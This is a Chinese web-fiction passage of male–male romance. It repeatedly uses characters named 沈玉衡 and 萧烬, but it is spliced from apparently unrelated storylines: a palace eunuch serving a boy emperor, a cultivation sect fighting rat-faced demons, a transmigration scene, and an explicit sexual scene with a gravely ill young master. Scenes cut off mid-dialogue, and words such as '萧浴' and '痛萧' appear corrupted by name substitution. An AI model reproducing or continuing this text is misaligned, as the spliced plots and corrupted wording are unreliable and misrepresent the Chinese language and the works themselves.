他稍作停顿,又道:“臣今日起便让勇士营的死士寸步不离守着陛下,若他真敢前来,也不会叫陛下受丝毫的伤害。” 景裕大为感动。 他先前怪罪于沈玉衡忙碌公务,不来见他;此时却又觉得沈玉衡日理万机,忙得没空见他也是有道理的。 御马监督管天下兵马,却不比传达政务的司礼监有好些秉笔太监。 御马监的太监只有沈玉衡一人,管的事却不比司礼监少,还得训练勇士营的死士保证天子安全。 景裕虽然想要沈玉衡随叫随到,又对沈玉衡的能力颇为自豪。 他的伴伴可是前无古人后无来者的宦官:杀过敌将,拿过城池,比沈广、苗善河这些老太监都要厉害上千百倍。 如此厉害的沈玉衡,不曾嫌弃他只是个失势的皇子,始终愿意跟在他的身侧,日日不忘贴身伺候于他。 ——是朕最忠诚的奴婢。 小皇帝的脾气过去了,又念起沈玉衡的好来。 他软下语气,撒娇道:“沈玉衡,世上怕是再没人对朕这么好了……没有你就没有今日的朕……” 景裕年少失恃,性情多变敏感,这也是沈玉衡不太想多见这人的原因。 如今他见终于把人给哄好了,心头微松,不再逾矩拍抚,端端正正地跪好。 他恭顺地道:“奴婢能有今日,全因陛下照拂,奴婢愿为陛下效犬马之劳。” 若是往常,沈玉衡大抵还会说些更肉麻的话以表忠心。 但他真正的主子已经进了他的府第,这些背主另投的话,却是怎么都无法对景裕说出口了,只能挑些不太过分的敷衍一下。 小皇帝对他家大伴另投明主全然无知,心里想的满是他和沈玉衡曾经相依为命的岁月。 景裕依赖地道:“伴伴,朕累了,要伴伴哄朕睡觉……” 沈玉衡应声:“是,奴婢这就伺候陛下就寝。” 景裕心满意足,拖着双腿跑回床上,又回过头来:“我的脸上好难受,你帮我洗洗脸。” 沈玉衡应了一声,走到寝殿外面差人备水。 殿外除了值夜宦官之外,还有逢力站在一边,显然已等候多时。 他见了沈玉衡便走上前来,低声地道:“沈公,奴婢有事禀报。” 沈玉衡早些时候让多贤派了指令给逢力,让他去审凤止宫前的小黄门。 应当是已经审出结果来了。 沈玉衡虽然万分想要立刻知道情报,却也只能按捺着性子,吩咐道:“你先在此处候着,莫要走开。” 逢力道:“是。” 沈玉衡从內侍手里接过水盆,提回殿内,绞了温热的帕子,给景裕轻轻擦脸。 景裕感受着脸上的温暖,和大伴细腻轻柔的动作,吸了吸鼻子,笑道:“伴伴,你总是这么香。” 沈玉衡专心伺候景裕,面色淡淡地回答:“阉人身上易有骚臭,奴婢想要伺候陛下的万金之躯,自然得日日焚香萧浴才敢靠近。” 虞人尚美成性,爱打扮,爱簪花,爱熏香。 位高权重者不论官宦帝王,全都涂脂抹粉,簪花熏香;沈玉衡不算爱美,只格外注意清洁。 毕竟他的颜色本就还行,不化妆也胜过常人许多;不簪花则是因为头顶太高,别人看不到也没什么意义。 只有熏香,世人都说阉人身上有味,哪怕他自己不觉得有什么怪味,在御前也保持着一日两三次的萧浴,衣服全都大肆熏香。 不然若是身上带有味道,哪怕他在外骁勇善战,在内办事得力,都很难受到到景裕和先帝的赏识。 景裕被沈玉衡的一句吹捧哄得飘飘然,咯咯笑了两声,说道:“沈玉衡,朕喜欢你身上的香味,每次远远闻到,朕就心里觉得踏实,明日朕再赐你点香料。” “谢陛下。” 沈玉衡被皇帝赐香都成了习惯,对他行贿的人也总爱在礼单里头塞上香料,他府库里的熏香拿去开个香行都不怕缺货,也就没什么好千恩万谢的。 更何况他本身并不喜欢熏香。 萧烬接受不了的东西,他都不喜欢。 沈大伴把帕子放回水盆里,替景裕抹了面脂,哄小天子躺下,说道:“奴婢去灭烛。” 景裕躺在暖和的床上,睁着兔子一般红彤彤的眼睛,目光追随着沈玉衡拿起烛剪,一盏盏剥开灯罩,掐去烛花。 殿内陷入漆黑之中。 景裕瑟缩了一下:“沈玉衡!” 好闻的香味由远及近,直到跪在他的面前。 “奴婢在。” 景裕呼了口气,不安地问道:“伴伴,你今夜不会再走了吧?” 沈玉衡道:“奴婢陪着陛下。” 黑夜里,景裕的红眼睛依然透亮地睁着,囧囧有神地盯着沈玉衡看。 他命令道:“伴伴,你不许走……你背诗给我听。” 沈玉衡应了一声,恭顺地诵起诗来。 他口齿清晰,语调悠缓,相比前面那些叽叽喳喳的小宦官,声音好听上千万倍。 景裕慢慢耷拉下眼皮,迷迷糊糊地道:“伴伴,朕睡着前,不许停。” 沈玉衡道:“是。”又缓缓背了起来。 景裕闭上了眼睛。 只是他前头是被梦魇惊醒的,再次入睡便有些困难。 且他还担心沈玉衡会突然开溜,明明快要睡着了,又突然睁开眼睛偷看,瞧见黑暗里跪着的身影,闻到无处不在的香味,听见朗朗书声,才又闭上眼睛。 然后又冷不丁地睁开。 沈玉衡看得分明,只做全然不知。 他也不催促景裕入睡,平心静气地背诵诗文。 如此反复了许久,天色都已进入黎明前的黑暗,昏沉沉的一片,伸手不见五指,景裕的呼吸才刚刚平缓下来。 沈玉衡早就嗓音嘶哑,喉咙吞碳一般疼痛。 他又念了一段时间,才渐渐放轻音调,最后收了声。 殿内只剩下景裕平缓呼吸的动静。 沈玉衡跪着听了会,轻手轻脚地起身,动了动跪麻的双腿,往殿外走去。 至于答应的景裕不会走…… 去寝殿门外处理公务,怎么能算“走”? - 沈玉衡走到殿外,视线骤然亮堂,盏盏明灯燃着辉煌的光芒,一夜未停。 逢力靠着梁柱,抱着拂尘脑袋一点点地打着瞌睡。 殿门口守着的两个內侍唤道:“沈公。” 逢力一个激灵,醒了过来,立刻躬身道:“沈公。” 沈玉衡淡淡“嗯”了声,望了下四周的三个宦官,对门口的两人道:“你们下去,让多金、多骞前来守着。” 这是最靠近天子的內侍岗位,沈广的另一个义子沈多福不愿离去,说道:“兄长,义父让咱家寸步不离地守着圣上!” 沈广此人多疑成性,即便沈玉衡已成为景裕的大伴,他也不愿把鸡蛋放在一个篮子里。 沈广自从决定扶持景裕为帝之后,便派了其他义子——沈多福、沈丰来做景裕的贴身內侍,不想看沈玉衡一家独大。 虽然至今还未见成效。 沈大伴被义弟顶了一句,脸上没什么表情,淡淡地道:“你若有不满,之后自行向圣上禀明是非。” 他扫了沈多福一眼,视线极低,像在看一颗尘土。 “下去。” 今上景裕有多依赖沈玉衡,众人有目共睹。 就算被打被骂又如何,做奴婢的谁不被打骂? 被打被骂却吵着要见,那才是真的在主子心里有着地位。 不然主子看你不顺眼,直接打杀了,或者宠信别人去,何必为一个奴婢而伤心伤肺呢? 沈多福悻悻然地道:“是。” 若是去告了御状,还指不定是谁被罚;沈多福只好垂头丧气地和另一个內侍一起躬身退下。 没一会,多金、多骞迈着小碎步匆匆走来,笑着对沈玉衡行礼,道:“见过沈公。” 多字辈宦官都是同一批入宫的,其中年纪最大的现在也就十五岁。 像多贤、沈多福都是十五,而多鱼、多骞、多金则是十二岁。 他们本名不好听,有些甚至叫什么狗蛋、大根之类的,便会由内书房的老公重新赐名。 名字好听的,如沈玉衡,进宫之时名唤玉衡,诗意又好记,就没被改名。 沈玉衡受了多金、多骞的礼,挥手让两人专心值岗。 此时空旷的殿内立着四人。 除了沈玉衡之外的其他三人,都是他的亲信,离得最近的旁人也在廊下,听不见他们的对话。 沈玉衡将逢力招到跟前,询问道:“那两个小黄门,审完了?” “……”这个他倒是真不知道。 “我不记得那些事了。”沈玉衡咽了口口水,注视他的眼睛:“信确实是我写的,但我只是想见你一次,没想过要和谁联络。” 萧烬意外地挑了挑眉。 “你很多天没过来了。” 不知为何,话音落下后,萧烬的剑尖晃了一下,有一瞬间的动摇。 少年眼中闪过一丝从未有过的讶然。 他觉得沈玉衡大概是疯了,才会想要见他,可是讽刺的话,竟然意外地……有点说不出口。 萧烬半张着唇,刚想开口,便听到沈玉衡说出下半句话—— “岳枫的事情,我们还能谈谈吗?” 第 57 章 第 57 章 57 沈玉衡再也走不出皇宫,岳枫会怎样恨他误会他,他难受却也无济于事。 但沈云璟不同。 他这位大哥自从随军出京后,就再也离不开沙场了。 岳家兄弟是他诸多副将里最为青睐的二人,沈家和岳家因此走的亲近,曾经也是一桩美谈。 若是让他部下的士兵们看着他们尊敬的将军,亲手杀死曾经的副将,断了岳家最后的血脉…… 沈云璟将来要如何面对其他那些追随他的人呢? 岳枫一旦死了,很多事情就变味了。 沈玉衡又补了一句:“只是实在无心修炼之人,我也不好强留,其他的肯留下的,我一定好好教育,绝不怠慢。师兄,你意下如何?” 瞧瞧这诚恳的口气!这负责的态度! 虽然骗不过别人,但骗骗白长卿,绰绰有余了。 “这样倒也好。”白衣的青年微微颔首,眼中流露出些许欣赏之意,“师弟,你这些天实在让我放心许多,掌门留给你的那栋书楼的入口,现在就在你屋旁的那棵树里,至于能向谁开放,你自己定就好了。” 沈玉衡恭恭敬敬地回答:“多谢师兄。” 白长卿见他这么客气,更加心软下来,柔声道:“也不用这样生分,你毕竟是我和逐天带大的孩子,自然是应该帮的,只是……” 白长卿话语一顿,看向了他身后的萧烬——少年倚墙而立,垂眸出神,似乎对他们的交谈并不感兴趣。 “只是师弟,你也知道你项师兄那个性子,凡事都想争个第一。”白长卿虽是对沈玉衡说话,眼睛却盯着萧烬不放,“你今后就多让让他,少跟他抢东西了。” ……凭什么?赶在那股熏人的气味完全散开前,沈玉衡冲上前,将萧烬手中的三炷香拍落在地,踩灭了顶端燃烧着的火苗。 刚要烧给养母的香火,就这样被粗暴地踩灭,萧烬略显不悦地皱起眉,“你做什么?” “快进屋里去!”沈玉衡不由分说地拖着他往屋里走,“这地下埋的不是尸血,是鬼胎!到了夜晚就会孵化成妖魔,这些香火是给鬼神引路的东西!会把它们都引过来的!” 不料萧烬却从他的手中挣脱出来,冷静道:“我能对付。” 对付个屁! 要他真能对付,前世还会浑身重伤地倒在溪边吗? 眼看着团团漆黑冰冷的阴气从泥土中蒸腾而出,沈玉衡已是顾不得疼,猛地伸出手,五指死死地钳住了锋利的剑身,霎时皮开肉绽,鲜血直淌。 沈玉衡回瞪着少年惊讶的瞳孔。 “除魔宝剑又如何?这鬼胎的尸血被符文逼了整整一天都没淌完,不知下面究竟还有多少恶心玩意没冒头,这些是你一个人能对付得了?” 归根结底,元婴以下的修士哪里打得过妖魔?要是他抄着剑就冲上去,这不是送死吗? 自己都重生过一次了,还能眼睁睁地让自己徒弟被痛打一顿?不存在的。 萧烬想了想,很快也冷静下来,“……嗯,暂且在屋里观察吧。” “知道了还不赶快……”沈玉衡还没教训完,就被身前的人捂着嘴圈进怀里,跃进了那间遍布尘灰的老屋之中。 萧烬警惕地向门外看了一眼,在他耳边低声提醒:“别说话。” 沈玉衡扒着门边望去,只看见几条细瘦人影从坟冢地里相继爬出,把他吓了一跳。 ……难道只是活尸? 沈玉衡胆子大了点,稍稍往窗外探出了点身子,才看清了那妖魔的真正面孔。 夜色朦胧中,竹竿般细长枯瘦的鬼影摇曳,灰色的长毛遍布全身,从尖嘴里溢出的尸液落在地上,立刻就腐蚀出了小坑。 这些老鼠模样的怪物左一晃右一晃,慢慢悠悠地从坟冢里爬出,嘶叫着扒开周围土屋的房顶,似乎正在搜寻着什么东西。 高阶魔物鬼人鼠? 沈玉衡还记得书中所说的,鬼人鼠长着鼠面人身,阴邪嗜血,嗅觉和听力都极为灵敏,但是多数都智力低下,像这样成群结队攻击一个凡界村庄是不可能的——只可能是有人故意将他们引诱至此的。 腰间被突然揽住,下意识想要出声的嘴也再一次被捂上,沈玉衡还没来得及抵抗,就被萧烬抱进了一处阴暗潮湿的狭窄空间中。 沈玉衡摸到身下压着的粗糙布料……这儿是衣柜? 老屋里的衣柜也是个老柜,又小又窄,他们两人又都不是纤细的身材,只能紧紧将身子贴在一块儿,直到对方微弱的吐息都能在耳畔边响起,才勉强不把柜门顶开。 他心知萧烬是个心无邪念的正人君子,只把这当做是一次普通的藏身。 但沈玉衡毕竟在勾栏瓦肆听了十几年的曲子——自己没吃过猪肉,也见过别人的猪跑,这姿势极尽暧昧亲密,竟是让他都忍不住老脸一红,赶忙又将心底浮上的念头全给压下。 这都什么情况了他还在想这个!莫不是真要成了那些人口中的邪恶淫仙? 好在四下无光,萧烬没有发现他脸颊上微妙的淡红颜色。反观萧烬——神色严肃,盯梢着屋外的情况,不敢有一刻松懈,实在是可靠的多。 隔着柜门沉重而缓慢的脚步声,一声比一声更响,更近,更沉——而后,在老屋旁戛然而止。 来了! 鬼人鼠粗重的呼吸声隔墙传来——沈玉衡这回清醒多了,无暇再去想那些有的没的,而是将身子紧紧埋进萧烬的胸膛之中,屏住呼吸,等待着鬼人鼠的离开。 “……” 萧烬默默看了眼蹭到怀中的这颗脑袋,又将视线移到了柜门细小的窄缝当中,观察着这头妖魔的动静。 鬼人鼠尖锐的鼻子猛地撞开了年久脆弱的木窗之中,深深地嗅了一口屋里蒙尘已久的潮湿空气,两只圆盘大的眼睛一动不动,在静谧的夜空中发出令人不安的绿光。 应该……快走了吧? 从柜门缝隙中看到鬼人鼠抽出鼻子,默默转身的样子,盘缠在一起的两具身子同时放松下来——他们挨得实在太近,沈玉衡敢说,萧烬就算现在立起根寒毛,他都能第一个感觉到。 立起…… 黑暗中,沈玉衡忽然心情复杂地抬起头,看向面不改色的萧烬——这张无比清冷,英俊,正直,把女弟子们迷得不要不要的脸蛋,沈玉衡此刻却只想将它捏住,绝望且严肃地质问他:萧烬啊…… 你说说,现在抵在我腿上的这根不可描述的东西是什么? 说到这个,沈玉衡心里就气不过,坚持说:“萧烬不是他的东西,他是我的徒弟。” 白长卿并没有认真,笑着回道:“我忘了,你也是个倔脾气,这好徒弟哪儿找不到?怎么偏偏就要他?” “别的事我也懒得和他争,但这件事可别指望我让步。”沈玉衡赌气似地环抱双臂,“萧烬和别人不一样,我就要他。” 萧烬在他身后动作一滞。 不知怎么的,一股异样的感觉升上他的胸腔,他却怎么都说不上那是何种情绪。 白长卿一笑置之,没将他的固执放在心上。 “小孩子脾气。” 白袍轻舞,青年微笑着跃上剑身,御剑而去。 沈玉衡也扯着嘴角,向这位好骗的师兄挥手道别,待到彻底看不见白长卿在天际一边的身影后,他才总算收起笑脸,放松地叹了声气。 白长卿一走,这帮打杂弟子们个个脸色苍白,不知道沈玉衡会拿他们怎么开刀。 虽然生气的白师兄着实恐怖,但现在,眼前这个誓要好好管教他们的淫仙才更吓人! 沈玉衡却对他们看也不看,大步往反方向走去,“萧烬,走了。” 萧烬并没有跟上他,而是转头看向这些茫然无助的小弟子们,问:“这些人该怎么办?” 四下众人都咽了咽口水,不知前途是福是祸。 沈玉衡却头也不回,摆摆手道:“通通滚蛋。” “畜生!”紫衣少爷暴跳如雷,抄起袖子就想上前,“你!你凭什么!” 眼看就要吵起来,理智尚存的小孩们赶忙左右开弓,拽住他的衣袍。小少爷挣扎起来,险些把自己这身昂贵的袍子都挣坏。 沈玉衡淡然转身。 白长卿方才小声告诉他:这小少爷是城里一户大家族的二公子,天赋不差,但六年前拜入师门后,过惯了好日子的他受不了一点苦,不仅疏于修炼,还在仙鸣峰闹出不少麻烦事来,便被项逐天以“修习悟性”为由,丢入了基本算是无人看管的上青峰中。 沈玉衡一问才知道,原来这还不是个例——这里大大小小坐着的打杂弟子,几乎都是从仙鸣峰被扔出来的顽劣小童。 沈玉衡望着这堆十岁出头就已经恶迹斑斑的小混账们,不悦地叹了口气。 ——项逐天,是拿我这儿当垃圾桶吗? 四下沉寂,小少爷的动作也是突然一滞。 他很快换上一脸羞愤难抑的表情,闹腾得更厉害了。 啊。 他好像把心里话说出来了。 看着眼前这张牙舞爪的小少爷,他心觉好笑,转而反问:“我凭什么教你们?再说你灵脉通畅,丹药不缺,六年还不筑基,换谁来教你都没辙。” 被戳中痛萧,小少爷气得发抖,“你!” “你你你,你什么你?”沈玉衡一挥袖子,手指在窃窃私语的少年们之间点来点去,“这破门派强迫你们了?拐你们上山了?一不逼你二不拐你,还供你们白吃白喝,有什么好抱怨的?” 因为顽劣不堪而被送来的小弟子们,霎时哑口无言。 偏偏有人还不服:“明明是你那些师兄找人把我们请上山的,凭什么不让他们亲自来教我们!要是他们来教我,我肯定学得好!” 沈玉衡直接笑出了声,“您配吗?” 杀鸡何须宰牛刀,盐车不求汗血马。 您不配! “呵,跟他有什么好说的!我们走!” 出身富贵的紫衣小少爷一招呼,立刻追上好几十个献媚的小娃娃,他们也没什么主见,只知道像只小狗似地摇头晃脑,紧跟主人的步伐。 还有些弟子犹犹豫豫,顿足不前,那小少爷便得逞一笑,喊道:“我陈家家财万贯,请一两个仙人来教绰绰有余,这儿肯跟了我做家仆的,回去照样能跟我做仙人。” 唰唰唰,他身后的娃娃堆里又钻进了不少人。 小少爷得意洋洋地看着沈玉衡,没想到这人却一点都不挽留他们,反倒是毫不客气地指向了北面一个小坡道。 “近路在那儿,快滚。” 说着说着,他不说话了,嘴唇也跟着颤抖,好像下一秒就要哭出来似的,十分楚楚可怜的样子。 连沈玉衡也看着有点心疼。 在之前那么多个世界里,苏澄和萧烬难修正果,一点也不奇怪。 但凡换一个人,都会愿意珍惜苏澄这样善良可爱的伴侣。 沈玉衡放下手里的粥碗,拍了拍苏澄颤抖的肩,在他眼睛里充盈的泪水终于滑下来的时候,他给了苏澄一个朋友间关怀安慰的拥抱。 苏澄却一下子把他搂住,紧紧抱住沈玉衡,把流泪的眼睛埋进了他的颈间。 沈玉衡愣住,但苏澄的拥抱实在没什么攻击性,他犹豫了一会,没有推开他。 只是…… 在抬头看向前方时,沈玉衡看见寝殿门口,不知何时,半开着门; 阴翳里,有一双眼睛正盯着他。 第 58 章 第 58 章 58 四目相对的瞬间,沈玉衡感觉浑身的温度都剥离了。 那双眼睛一片漆黑,连他预想里的愤怒也没有,同样也没有憎恨,恶心,嫌恶,但又好像同时糅合着所有这些情绪。 像一片污浊的黑,再也没有变回清澈的可能性。 沈玉衡甚至不知道,萧烬是在看他,还是在看苏澄。 “是,沈公。”多鱼小公公年岁不大,此事上知晓一些,却也不多,便迟疑着问道:“……取哪种?” “脂膏要无味的,角先生……”沈玉衡眨了眨眼,沉着地道:“你看着取。” 多鱼那张玲珑的笑面孔肉眼可见地失了笑意。 他只是个小小的阉宦,他还只有十二岁,他连对食都没有! 如何知晓角先生要取哪种? 多鱼揣揣地领了命往外走,想着出门就问问府里与男人欢好过的仆从,这玩意要怎么选…… 他自从跟随沈玉衡以后,基本就留在了沈太监第里,别说对食;额,他连其他公公的小手都没拉过。 这是造了什么孽要去问人这些! 宋维谦这边也没闲着,他倒了两颗药丸出来,对萧烬道:“续点体力吧,晚些事成了再吃一颗,再多的药力你也受不住。” 沈玉衡自觉地扶起萧烬,倒了杯温水给主子喂了续命药下去,再仔细擦干净萧烬艳红柔软的唇瓣。 萧烬抿了抿嘴,道:“多谢师兄。” 宋维谦脸色微红:“不必跟我客气。”他顿了顿,略显羞涩地道,“师兄为你做这些,都是心甘情愿的。” 萧烬撇了他一眼,闭上眼睛修养精神。 宋维谦被萧烬的一句感谢,一眼风情鼓舞了心神,又嘀嘀咕咕,殷殷切切地叮嘱了好一通。 直到多鱼把用具拿了进来,宋维谦看到那一堆不堪入目的玩意儿,才讪讪地收了话头,长叹一声,甩袖出门。 萧烬睁开眼睛,瞥了两眼屋门,随后收回视线,望向屋里人高马大的沈小郎君。 沈玉衡此时已经从多鱼手上接过紫檀木案,走回床边。 多鱼乖觉地合门离开,室内只剩主仆二人。 沈玉衡支起了几个软垫让萧烬靠着。 他深吸一口气,将装着物件的木案拿起,问道:“少爷,角先生选哪种,你看得清吗?” 木案上一应物什放了许许多多,琳琅满目。 萧烬勉强眯着视线看了一看,只能瞧见长长短短的几片颜色,便放弃了,道:“你……自行做主。” 沈玉衡垂眸应道:“是。” 他挑了个适中的角先生握住,手指有些轻颤,但语气还算沉着,不愿轻易地露了怯:“少爷,我不曾行过此事,劳烦少爷多加指点。” 萧烬本就气息艰难,闻言一口气差点没提上来,耳朵边的杂音更响,眼前也一阵阵地发黑。 他难以置信地道:“你二十了,还有妻妾……不曾行过此事?” 沈玉衡捏着冰凉的角先生,突然有些惶恐,呐呐道:“我……不曾。” 他入宫这六年,全副心思都放在救萧烬的事上,半点精力也分不出给其他人其他事。 这本是他忠心耿耿的证明,却突然成了他作为小厮不够好使的缺陷。 沈小厮冷汗涔涔,生怕萧烬要临时换人,立马委委屈屈地保证道:“少爷您别嫌弃我,我学得肯定比多鱼快,马上就能让少爷得趣。” 沈玉衡嗓音虽然柔和,却也一听便是个成年郎君的声音。 一个成年郎君,竟慌慌张张地撒了娇起来…… 萧烬不合时宜得有些想笑。 他家玉衡这是在和多鱼拈酸吗? 分明这件事上半点不会,却还要想着争宠。 他没头没尾地想:许是从前他也不曾有过第二个小厮,竟从不知道他家玉衡有这么大的醋性。 这般给自己说了个笑话,萧烬的心情倒是好了一些,身上的难受都好像消散了点。 他甚至有了心思宽慰玉衡:“那你就随意来吧,反正我也不知这件事上怎么才能得趣。” 一句话说的断断续续,却带着浅浅的笑意。 沈玉衡差点被这声给说哭,俊朗的凤眸红了一圈,心疼不已地道:“少爷,我一定不会叫你难受。” 萧烬自幼体弱,欲求寡淡,入宫之前连晨起也不曾有过。 进了宫伺候皇帝没两次,又被禁足不出。 老皇帝肥头大面,还日日吃仙丹,显而易见是个不中用的。 自然是没有人让少爷得过趣。 沈玉衡心疼得如丧考妣,萧烬心倒是神色平静。 萧烬从没对这事情报有过期盼,反正挨一挨便过去了。 若是实在得不了趣味也是时也命也。 努力他也努力过了,就这么烧死了或许也算不上一桩坏事。 他是玉衡救出来的,被这小厮毫无章法地捣鼓死了,算是一命还一命吧。 ——那也不行,若是死在这床上,他家玉衡指不定以后每每想起来,都要愧疚得大哭一场。 萧烬又被自己逗笑了。 他喘息着哼笑了两声,安抚道:“好了,莫慌,我们玉衡向来聪明,定是学什么都快的。” 他放松地靠在沈玉衡的胸膛上,低头看了看自己微微颤动的手指,叹道:“就是你得拘着我些行事,等下若是难受了,这身子大抵要犯风症。” 沈玉衡被安慰了一句,心里虽然依旧没底,却是镇定了许多。 他应声把萧烬揽紧了些,酝酿几息,终于伸出手来,小心地褪去主子身上的袴裈。 萧烬纤细清瘦的大腿半露出来,伶仃的两条,微微颤抖着,挂的肉很少。 但美人在骨不在皮,即使这样得细弱,都看着像白玉一般温润无暇,青色的血管清晰可见,就连腿弯边的一点朱砂痣都美轮美奂。 玉衡褪下主子的裤子,立刻把被子拢上来,仔细掖好,一丝缝隙也不漏,又把角先生放进自己衣襟里暖着。 这才在手上抹了脂膏,伸进被洞里摸索。 萧烬不太适应这事,即使身体的感知不敏锐,依然柳眉紧皱,汗如雨下。 他说不上是难受还是难捱,只在心里想着莫要犯了风症,到时候还得把宋维谦叫进来医治,这般狼狈的模样就得被外人给看了去。 他绷紧了失控颤动着的四肢,别的地方却提前犯起了毛病来。 萧烬的呼吸在急喘中越发混乱,出气越来越少,吸气变得困难无比,即使他竭力调整呼吸,也依旧不得章法。 沈玉衡见萧烬脸色涨红,胸腔起伏十分剧烈,知道他家少爷这是犯了气病,立刻把手抽了出来,道:“我去寻宋维谦。” “别……”萧烬用力抓了下沈玉衡的大腿,指尖搭在身后之人的腿上,却弯不起来,只是不自然地抽搐着。 萧烬道:“你,给我……渡气,继续。” 沈玉衡看着萧烬艰难呼吸,竭尽全力生存的模样,突然落了颗泪珠下来。 他慌乱地抿紧眼皮,挤掉那颗眼泪,低头顺从地含住不停翕动的红唇,用力渡气进去。 萧烬的嘴唇柔软温热,呼吸之间全是药物的苦涩味道,以及胃里胀气散发出的酸腐味,并不好闻。 可沈玉衡现下却什么都注意不到,他全神贯注在萧烬的呼吸节奏上,配合着引导萧烬匀称气息。 好一会萧烬的呼吸才算缓和了下来。 沈玉衡慢慢松开萧烬的双唇,主子嘴里的涎水蹭得两人下巴上全是。 他不顾上自己的脸,用另一只干净的手,捏着袖子将少爷的嘴唇擦拭干净,其他多余的动作半点也没。 萧烬总算缓过了神来,慢慢地呼吸着。 他眼神恍惚,半歪在沈玉衡怀里,虚弱地道:“好了,没事了……”他伸手碰了碰被子里沈玉衡的手背,安抚道:“继续吧。” 玉衡闷闷应了一声,拥好轻薄如纸的少爷,继续做冒犯主子的动作。 他的心里钝痛不止,却也只能尽快行事。 他关注着萧烬的每一个反馈,却突然发现他的主子,像是忽然变成了极小的一只。 分明他八岁跟着萧烬时,十六岁的少爷哪怕坐在轮椅之上,都如高山仰止一般,是他望不到头的伟岸。 此时的萧烬靠在他怀里,头顶却连他的胸口都只是将将挨着。 也不知是他确实长得过于高大了,还是记忆将这人的身影拉得那般长,那般远。 他动作间问了几句萧烬的感受,萧烬神色恹恹地一一回了。 只是体验,大抵是肉眼可见的没有体验。 人都病的快死了,还要被小厮侮辱,又能有什么好体验? 但也只能继续下去。 沈玉衡抖着手,从怀里拿出了被暖热的角先生,塞进被子里面。 角先生已经被沈玉衡捂得滚烫,萧烬只在刚开始皱了下眉头,之后一直表情淡淡,唯有双腿时不时弹动几下。 沈玉衡一直在回忆同僚们说的荤段子,可他怎么弄主子都没半点反应。 他问萧烬意见,萧烬认真感悟着回了几句,后面也懒得再答,一双乌黑的眼睛不知望向何方,只是急促地喘着气。 沈玉衡也闭了嘴,垂下眼眸观望萧烬的神色,汗水不停地划过他高挺的鼻尖落到被褥之上。 他心中难受,觉得主子命苦,又害怕因为自己的不得力,让萧烬真就这么给烧死了。 沈玉衡狭长的凤眸里漫起一层水光,高高大大的一人,此时竟瞧着有些弱小可怜。 萧烬感觉到了玉衡的低落,却也没什么力气安慰,只是轻轻地问道:“钟声……响了多久?” 屋外的钟声一直未歇。 皇帝驾崩,宫内会昼夜不停地响钟三万杵。 沈玉衡哑声回道:“已响了两个时辰,许是还要敲两天。” 萧烬细长的手指抽搐几下,眼睛眯起,叹道:“他死了。” 那个把他纳入宫中,又打入冷宫的人,今夜死了。 沈玉衡心中突得一痛,眼泪无声无息掉了下来,道:“是的,少爷,他死了。” 萧烬嘴角勾起,极浅地笑了声,道:“我活下来了。” 一点湿意也随着这声浅笑沾到了沈玉衡的手心里。 沈玉衡激动得连眼泪都没了,立刻伸手把脏污兜住,不让这些东西染到主子身上。 萧烬慢慢地平缓下了呼吸。 他的身子比刚才更沉了一些,耳边杂声更响,外头有个钟在敲,脑子里还有个钟一并在敲。 心却是沉寂的,安宁的。 无所畏惧的。 像是整个人落到了什么踏踏实实的地方。 不再朝不保夕,不再害怕是否能见到明日的阳光。 他活下来了。 熬过了冷宫,逃过了鸩酒,挨过了病痛。 沈玉衡望着萧烬汗如雨下的脸庞,那张美丽的脸上不再烧红,虽然没了血色,双目却亮如萤火。 沈玉衡轻轻地道:“少爷,你活下来了。” 站在门口的人并没有说话,但沈玉衡已经发现他是谁了。 萧烬缓缓走来,外面下了雪,他肩上的大氅被雪水浸湿,沉甸甸的,被他一下丢在旁边。 萧烬挑起眉头,看了看沈玉衡身后,被褥下似乎不太自然的凸起:“你……” 他的话被突然贴过来的唇瓣堵住,戛然而止。 萧烬睁大了眼。 第 59 章 第 59 章 59 浅色的薄唇,被一片柔软的触感轻轻贴上。 被吻住的人似乎受到了极大的震撼,僵成了一块石头,一动不动。 萧烬几乎已经忘记自己来清濯殿的本意,不过即便想起来也不重要,他只是偶然听宫人提起,梅园的梅花雪中盛放,风景如画。 他突然想起清濯殿角落里那株矮矮的,没怎么打理过的梅树。 风雪这么大,不知它有没有开花。 沈玉衡搭着萧烬的肩,见他没有反应,犹豫了几秒,小心翼翼地伸出了舌头。 “你!你最好不要后悔!” 小少爷狠狠撂下一句话,带上身后一大帮子毛都没齐的少年娃娃们,浩浩荡荡地下山去了。 人去山空,重获安宁。 好在他机智,早早就把师兄给忽悠走了,现在这前世今生——两辈子的份他都骂完了,沈玉衡总算觉得痛快了。 萧烬突然有所察觉:“那条路是……” 沈玉衡满意地点点头,“从那条路下去,大概得走个三四天吧。” 不光陡峭难走,而且只下不上,一旦走上了那条道,就别想再反悔回头。 好歹也是炼气的人了,多走走,修炼修炼,搞不好还能涨点修为呢。 “萧烬,这边来。” 沈玉衡示意少年跟着他,两人便移步到了沈玉衡屋边的那棵小树边上。 他伸手摸上粗糙的树皮,将灵气附着在五指之上,稍稍施加压力,这棵树就起了变化。 沈玉衡将手递过去,“拉住我。” 萧烬稍稍皱眉,他不习惯与人肌肤相触的感觉,便握住了沈玉衡的小指指尖,蜻蜓点水似地一碰,就当做是握手了。 两人一前一后进入了小树的躯干,传送到了远在仙鸣峰的书楼之中。 沈玉衡抬头一望,竟是一时惊得说不出话来。 偌大的环形书楼造型别致,空间极为宽敞巨大,倚墙的楼梯与一排排数目繁多的各式书柜皆是由上等的金丝檀木所制成,而书柜上陈列的一本本心法或剑本,翻阅了几本后才知道,竟还都是世间少有的珍本古籍! 他忽然愣在原地。 这就是李怀恩当年强硬要送给他的书楼? 记忆中的掌门,既是最初那个阴沉寡言的青年,也是那个一朝白发的严肃老者。 听人所说,自己是在门派最危难之际呱呱坠地的一个意外——父母突然殒命,门派中各路势力政斗不休,当时一度弥漫在各个隐蔽山间的,都是私刑的血腥气味。 得亏沈玉衡命大,一个脏兮兮的小婴孩,借着零星几点残羹剩饭,竟是就这么活了下来。 待到那些过往云烟消散之后,李怀恩偶然发现不到五岁的他倒在雪地中昏迷不起——据说那时他衣不蔽体,食不果腹,一身天生的仙骨灵脉,都险些没活过那个风雨飘零的寒冬。 虽然后来李怀恩费尽心思养他,但按照门派中人的话来说——投资不小,却是养了个废人出来。 沈玉衡心知李怀恩疼爱他,却不知道,竟也是下了血本的。 前世他执意与那两位师兄作对,被项逐天借口收走了这栋宝贝书楼,想必后者也是垂涎已久,只等他主动露出破绽。 实在是可惜了。 两人走到书楼三层,这一层都是适用于金丹期的心法和剑法秘籍,乍一看实在琳琅满目,十来层的书柜,竟是被珍本古籍给塞满了。 萧烬眼睛亮亮的,盯着这些珍本不放。 “萧烬,你挑一些去看吧。” “……我?”萧烬身子一僵,惋惜地摇摇头,“这些书,我要不起的。” 